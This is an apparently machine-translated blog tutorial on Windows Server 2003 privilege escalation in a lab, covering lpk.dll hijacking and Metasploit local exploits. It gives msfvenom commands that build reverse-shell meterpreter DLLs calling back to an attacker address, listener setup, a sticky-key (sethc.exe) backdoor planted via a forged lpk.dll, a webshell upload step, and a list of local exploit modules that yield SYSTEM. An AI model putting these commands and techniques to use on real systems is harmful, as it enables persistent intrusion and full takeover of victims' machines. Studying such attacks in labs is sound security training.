当前位置:网站首页>112. Network security penetration test - [privilege promotion article 10] - [Windows 2003 lpk.ddl hijacking rights lifting & MSF local rights lifting]
112. Network security penetration test - [privilege promotion article 10] - [Windows 2003 lpk.ddl hijacking rights lifting & MSF local rights lifting]
2022-07-07 11:56:00 【qwsn】
In my submission , Whether studying safety or engaging in safety , More or less, I have some feelings and sense of mission !!!
List of articles
One 、LPK.DDL Hijacking rights
1、sethc.exe What is it? :
sethc.exe(sethc) Is a process file , Press 5 Next shift after ,windows Is executed system32 Under the sethc.exe, Used to open the sticky key . Sticky key refers to a kind of shortcut key in computer use , Designed for people who have difficulty pressing two or more keys at the same time . The main function of viscous bond is convenience Shift Use in combination with other keys . Sticky key can press a key position first , Press another key , Instead of pressing two keys at the same time , It's convenient for some people who can't press multiple keys at the same time due to physical reasons .
Generally, the computer presses five times shift Sticky key prompt will appear . When you turn on the sticky key , The sticky key icon will appear in the system tray area on the right of the taskbar . If you want to turn off the sticky key , Just remove the hook before using the sticky key .
2、lpk.dll The background :
(1) because Windows Resource sharing mechanism . In order to arrange resource sharing as much as possible , Microsoft suggests that any module shared by multiple applications should be placed in Windows Of In the system directory , Such as kernel32.dll, This makes it easy to find . But over time , The installer will replace the files in the system directory with old files or new files that are not backward compatible , This will make some other applications unable to execute correctly , therefore , Microsoft changed its strategy , It is recommended that applications put all files in their own directories , Don't touch anything in the system directory .
(2)Window2000 Start , Microsoft added a feature , Force the loader of the operating system to first load modules from the application directory , Only when the loader cannot find the file in the application directory , To search other directories .
(3) It means : Executable files will be loaded lpk.dll This file ,windows The loader will first find out whether this exists in the directory where the program is located lpk.dll file , If not, execute system32 Of lpk.dll
3、Windows lookup dll Directory order of files :
(1) Application directory
(2) System catalog . GetSystemDirectory Directory returned , Usually System disk \Windows\System32
(3)16 Bit system directory . This is only for forward compatible processing , Not to be considered
(4)Windows Catalog . GetWindowsDirectory Directory returned , Usually System disk \Windows
(5) Current directory .GetCurrentDirectory Directory returned
(6) environment variable PATH All directories in .
4、lpk.dll What is Hijacking :
(1)lpk.dll Is stored in windows A very important part of the system dll file .DLL English full name Dynamic Link Library, Chinese meaning : Dynamic link library . It is located in system32 Under the table of contents , The feature is that each executable file must be loaded before running dll, and windows The system feature is to first judge whether this exists in the directory where the executable file is located dll, To determine system32 Catalog , This is based on lpk Of dll Hijacking occurs ,T00ls Lpk Sethc The tool is only extended and written by taking advantage of this feature !
5、T00ls Lpk Sethc Generate dll back door :
The attacker will generate lpk.dll Upload to any directory of the target , The victim then runs any of the corresponding directories exe file , Then... Will be triggered lpk.dll, It should be forged lpk.dll It will automatically replace the back door with sethc.exe, That is, click five times shift after , What pops up is actually the back door ( High imitation sticky key frame ), It is no longer the frame that started the sticky key before , Then type your own customized hotkeys to trigger the back door , Finally, enter the password to enter the back door .
6、MSF Generate dll rebound sehll Horse :
(1) The attacker makes dll rebound shell Horse :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f dll > lpk_x64.dll #64 Bit rebound Shell Horse
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f dll > lpk_x86.dll #32 Bit rebound Shell Horse
(2) The attacker uses dll rebound shell Horse :
msfconsole # open MSF
use exploit/multi/handler # Load the listening module
set payload windows/meterpreter/reverse_tcp # Set it to the one we used when generating Trojans payload
set lhost 192.168.97.130 # Set the attacker's IP The address is the listening address
set lport 12345 # Set listening port
run # Turn on listening
7、 Right raising process :
(1) Experimental environment :
1. Target environment :
(1) virtual machine WindowsServer2003【upload.moonteam.com】【192.168.97.132】
(2) Scripting language environment :php/asp The language environment exists
2. attack :
(1) virtual machine Win7【192.168.97.130】
(2)Firefox+Burpsuite+ Ant sword + Malaysia
3. The network environment :
(1)VMware Built NAT The Internet
(2) Target link :
URL:http://upload.moonteam.com/upload_4.php
(3) Experimental process : Premise -3389 On state
First step : Visit the target link , adopt MIME Break the white list limit , Upload php A word of , obtain webshell.

【 The above process is omitted 】, The following is the process of raising rights
The second step : The attacker passed Tools Lpk Sethc v4.0 attack , Set hotkeys cl And click generate after starting the password lpk.dll back door


The third step : adopt webshell, We found that WinWebMail Directory is the installation directory of mailbox server , We can lpk.dll Back door implant , When the software exe The next time the process starts , It will automatically call the forged dynamic link library under the current directory lpk.dll back door

Step four : Wait for the system to restart ,WinWebMail The service will start automatically , Then the process will automatically load lpk.dll back door , Successfully triggered lpk.dll, It should be forged lpk.dll It will automatically replace the back door with sethc.exe, That is, click five times shift after , What pops up is actually the back door ( High imitation sticky key frame ), It is no longer the frame that started the sticky key before , Then type your own customized hotkeys to trigger the back door , Finally, enter the password to enter the back door .
Connect the target remotely , type 5 this shift Trigger sticky key :

type CL, Trigger the back door :

Enter the backdoor password , Enter the back door , Enter the command whoami, The discovery is already system Yes :

Step five : Through the back door program above , We can create administrator group users , And then through 3389 Log in , Found again mysql The catalog of , We can MSF Generated bounce Shell Of lpk.dll Put it in mysql.exe Under the directory of the process , When the system restarts, the process will be automatically enabled , Thus triggering forged lpk.dll, rebound shell To the attack plane
Upload MSF Generated lpk.dll To the target plane mysql.exe Under the table of contents :
The attacker starts listening :
Wait for the target system to restart , Trigger lpk.dll, Successful rebound meterpreter shell, And found that the permission is very low :

Step six : Type... In turn shell、systeminfo, View operating system version , Found to be winserver2003 x86, We can do it in msf Search for modules that can be extracted , To make use of 
Step seven : Enter the following commands in turn , Search for modules that can raise rights , To make use of
exit # sign out meterpreter Of shell
background # Hang up now session 1

search 2003·# Search about 2003 Of exp

As shown below , with local Generally speaking, the right is raised locally :

use exploit/windows/local/ms11_080_afdjoinleaf # Here is the first test expset session 1 # Set the just obtained sessionset lhost 192.168.97.130 # The attacker IPset lport 12345 # The attacker just got session The port of run # function getuid # Get current id
As shown below , stay session 1 On the basis of, I got another session 2, Here's the new session 2 yes system jurisdiction :
# Or use use exploit/windows/local/ms14_058_track_popup_menu modular
【 Opened a new session, Enter the new session Is directly system】【 This power raising can coexist with another power raising 】
# Or use use exploit/windows/local/ms14_070_tcpip_ioctl modular
【 Opened a new session, Enter the new session Is directly system】【 This right raising can only be used alone 】
Find out session Shut down the , So we need to rebound again shell, You can use the remote desktop just obtained , double-click mysqld.exe Trigger lpk.dll rebound shell
as follows : Successful claim 
# Or use use exploit/windows/local/ms_ndproxy
【 No new session】【 Need to manually enter the original session,getuid Direct discovery is system jurisdiction 】

# Or use use exploit/windows/local/ppr_flatten_rec
【 No new session】【 Need to manually enter the original session, Go again getsystem Right to obtain system jurisdiction 】

attach :Window Server 2003 Set the software to start automatically
Window Server 2003 How to set the software to start automatically , Put the software or shortcut into the following directory :
attach :Windows Server 2003-MSF Five modules of local rights raising
| modular | explain |
|---|---|
| use exploit/windows/local/ms11_080_afdjoinleaf | Opened a new session, Enter the new session Is directly system |
| use exploit/windows/local/ms14_058_track_popup_menu | Opened a new session, Enter the new session Is directly system, This power raising can coexist with another power raising |
| use exploit/windows/local/ms14_070_tcpip_ioctl | Opened a new session, Enter the new session Is directly system, This right raising can only be used alone |
| use exploit/windows/local/ms_ndproxy | No new session, Need to manually enter the original session, direct getuid Namely system jurisdiction |
| use exploit/windows/local/ppr_flatten_rec | No new session, Need to manually enter the original session, Go again getsystem Raise the right |
边栏推荐
- How much do you know about excel formula?
- 本地navicat连接liunx下的oracle报权限不足
- Software design - "high cohesion and low coupling"
- 超标量处理器设计 姚永斌 第8章 指令发射 摘录
- NPC Jincang was invited to participate in the "aerospace 706" I have an appointment with aerospace computer "national Partner Conference
- Learning notes | data Xiaobai uses dataease to make a large data screen
- Steps of redis installation and self startup configuration under CentOS system
- [filter tracking] strapdown inertial navigation simulation based on MATLAB [including Matlab source code 1935]
- STM32入门开发 NEC红外线协议解码(超低成本无线传输方案)
- STM32F1与STM32CubeIDE编程实例-MAX7219驱动8位7段数码管(基于SPI)
猜你喜欢

Talk about SOC startup (11) kernel initialization
![[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]](/img/90/ef2400754cbf3771535196f6822992.jpg)
[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]

千人规模互联网公司研发效能成功之路

Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration

MATLAB实现Huffman编码译码含GUI界面

Some opinions and code implementation of Siou loss: more powerful learning for bounding box regression zhora gevorgyan

About how to install mysql8.0 on the cloud server (Tencent cloud here) and enable local remote connection

一起探索云服务之云数据库
![[filter tracking] strapdown inertial navigation pure inertial navigation solution matlab implementation](/img/14/6e440f3c4e04d9b322f0c3f43e213c.png)
[filter tracking] strapdown inertial navigation pure inertial navigation solution matlab implementation

UP Meta—Web3.0世界创新型元宇宙金融协议
随机推荐
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
Flet教程之 14 ListTile 基础入门(教程含源码)
R language uses image of magick package_ Mosaic functions and images_ The flatten function stacks multiple pictures together to form a stack layers on top of each other
What is cloud computing?
CMU15445 (Fall 2019) 之 Project#2 - Hash Table 详解
What development models did you know during the interview? Just read this one
The running kubernetes cluster wants to adjust the network segment address of pod
There are so many factors that imprison you
C#中在路径前加@的作用
[texture feature extraction] LBP image texture feature extraction based on MATLAB local binary mode [including Matlab source code 1931]
NPC Jincang was invited to participate in the "aerospace 706" I have an appointment with aerospace computer "national Partner Conference
Rationaldmis2022 array workpiece measurement
R language Visual facet chart, hypothesis test, multivariable grouping t-test, visual multivariable grouping faceting boxplot, and add significance levels and jitter points
sql里,我想设置外键,为什么出现这个问题
[encapsulation of time format tool functions]
竟然有一半的人不知道 for 与 foreach 的区别???
正在運行的Kubernetes集群想要調整Pod的網段地址
[shortest circuit] acwing1128 Messenger: Floyd shortest circuit
Summed up 200 Classic machine learning interview questions (with reference answers)
Automated testing framework